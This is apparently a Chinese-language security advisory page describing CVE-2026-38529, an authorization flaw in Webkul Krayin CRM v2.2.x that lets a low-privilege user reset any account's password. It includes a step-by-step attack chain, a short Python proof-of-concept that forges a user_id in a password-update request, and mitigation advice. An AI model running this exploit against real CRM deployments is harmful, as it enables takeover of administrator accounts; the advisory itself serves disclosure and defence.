IPBUF安全漏洞报告
English
CVE-2026-38529 CVSS 8.8 高危

CVE-2026-38529 Webkul Krayin CRM BOLA漏洞致账户接管

披露日期: 2026-04-14

漏洞信息

漏洞编号
CVE-2026-38529
漏洞类型
失效的对象级别授权 (BOLA)
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Webkul Krayin CRM

相关标签

BOLA越权访问账户接管Webkul Krayin CRM权限绕过

漏洞概述

Webkul Krayin CRM v2.2.x版本中的/Settings/UserController.php端点存在失效的对象级别授权(BOLA)漏洞。由于系统在处理密码重置请求时未严格校验请求者对目标对象的操作权限,经过身份认证的低权限攻击者可以通过构造特制的HTTP请求,恶意修改系统内任意用户(包括管理员)的密码。该漏洞可能导致攻击者完全接管受害账户,对系统的机密性、完整性和可用性造成严重影响。

技术细节

该漏洞的核心原理在于Webkul Krayin CRM的后端逻辑在处理/Settings/UserController.php接口的请求时,存在对象级别授权缺陷。当用户尝试修改密码时,系统虽然验证了请求者的身份(如Session有效性),但未进一步验证请求者是否有权操作请求体中指定的目标用户ID。攻击者利用此漏洞时,首先需要注册或获取一个普通权限的合法账户。随后,攻击者通过抓包工具分析正常请求,发现其中的用户标识参数(如user_id)。攻击者保持自己的低权限Session不变,修改请求参数中的user_id为攻击目标(如管理员)的ID,并发送恶意请求。由于后端缺失了“当前用户ID是否等于目标用户ID”或“当前用户是否拥有管理员权限”的校验逻辑,服务器直接执行了密码更新操作,从而实现了账户接管。

攻击链分析

STEP 1
1. 信息收集与获取权限
攻击者访问目标Webkul Krayin CRM系统,注册一个普通用户账户或获取一个低权限的已认证账户Token。
STEP 2
2. 分析请求逻辑
攻击者使用代理工具(如Burp Suite)拦截自身的密码修改请求,分析发现请求中包含可修改的用户标识参数(如user_id)。
STEP 3
3. 构造并发送恶意请求
攻击者保持低权限Session不变,将请求参数中的user_id修改为目标管理员账户的ID,并设置新密码,重新发送该请求至/Settings/UserController.php端点。
STEP 4
4. 账户接管
由于后端存在BOLA漏洞,服务器接受了请求并重置了管理员密码。攻击者使用新密码登录管理员账户,完全控制系统。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Example based on description) target_url = "http://target-host/Settings/UserController.php/update-password" # Attacker's session cookie (Low privilege user) cookies = { "laravel_session": "attacker_session_token_here" } # Payload exploiting BOLA: Changing 'user_id' to target admin ID # The actual parameter names might differ based on the framework implementation payload = { "user_id": "1", # ID of the admin user to takeover "password": "NewHackedPassword123!", "password_confirmation": "NewHackedPassword123!" } try: # Sending the request with low privilege session but targeting admin user response = requests.post(target_url, data=payload, cookies=cookies) if response.status_code == 200: print("[+] Exploit successful! Password reset for user_id 1.") else: print(f"[-] Exploit failed. Status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] Error occurred: {e}")

影响范围

Webkul Krayin CRM v2.2.x

防御指南

临时缓解措施
在官方补丁发布前,建议通过网络访问控制列表(ACL)严格限制对/Settings/UserController.php端点的访问权限,仅允许受信任的内网IP或特定管理终端访问。同时,管理员应启用详细的日志审计,监控是否存在针对同一用户ID来自不同会话的异常密码修改请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表